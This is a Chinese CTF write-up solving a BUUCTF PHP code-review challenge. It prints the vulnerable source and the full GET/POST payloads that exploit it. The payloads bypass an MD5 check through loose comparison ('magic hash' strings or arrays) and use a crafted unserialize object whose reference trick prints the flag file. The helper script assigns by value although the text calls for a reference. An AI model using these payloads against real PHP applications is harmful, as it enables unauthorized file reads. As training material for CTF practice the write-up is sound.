BUUCTF——Basic-BUU CODE REVIEW(MD5弱碰撞&反序列化漏洞)
·
题目描述
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__); //高亮显示当前页面源码
class BUU { //类:BUU
public $correct = ""; //公有属性:$correct
public $input = ""; //公有属性:$input
public function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
try {
$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid())
if($this->correct === $this->input) { //判断两个属性是否全等
echo file_get_contents("/flag"); //若全等,则打印根目录下的flag
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
第二段代码开始时这个题目的关键
要求GET传入的参数pleaseget=1,于是GET处的参数很简单,就是
/?pleaseget=1
POST传入的参数pleasepost=2,同时要求md51和md52的值不同,但是md5值相同
于是涉及到了md5绕过的问题,md5这个地方可以用md5弱碰撞,因为是弱类型比较。以下几个的md5弱类型比较均相等
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
当然更简便的是直接使用空数组进行绕过,因此POST的参数第一部分为
pleasepost=2&md51[]=1&md52[]=2
或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a
再往下看到unserialize就是反序列化问题,以及如何让两个类变量this->correct和this->input值相等
使用的是php的传引用

于是我们构造脚本使得this->correct和this->input两个变量指向同一个内容。
因为每次都会执行$this->correct = base64_encode(uniqid());,所以我们不能将input设为具体的值,而是在序列化执行,令input=&correct
构造脚本如下
<?php
class BUU {
public $correct="";
public $input="";
}
$obj = new BUU();
$obj->input = $obj->correct;
echo serialize($obj);
?>
然后在http://c.runoob.com/compile/中将其进行序列化
传入代码中反序列化后即可执行
得到了POST第二个部分的字段,最后拼接起来就是
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
右键“检查”,使用Hackbar工具,输入对应的GET和POST参数然后Execute,得到flag

更多推荐



所有评论(0)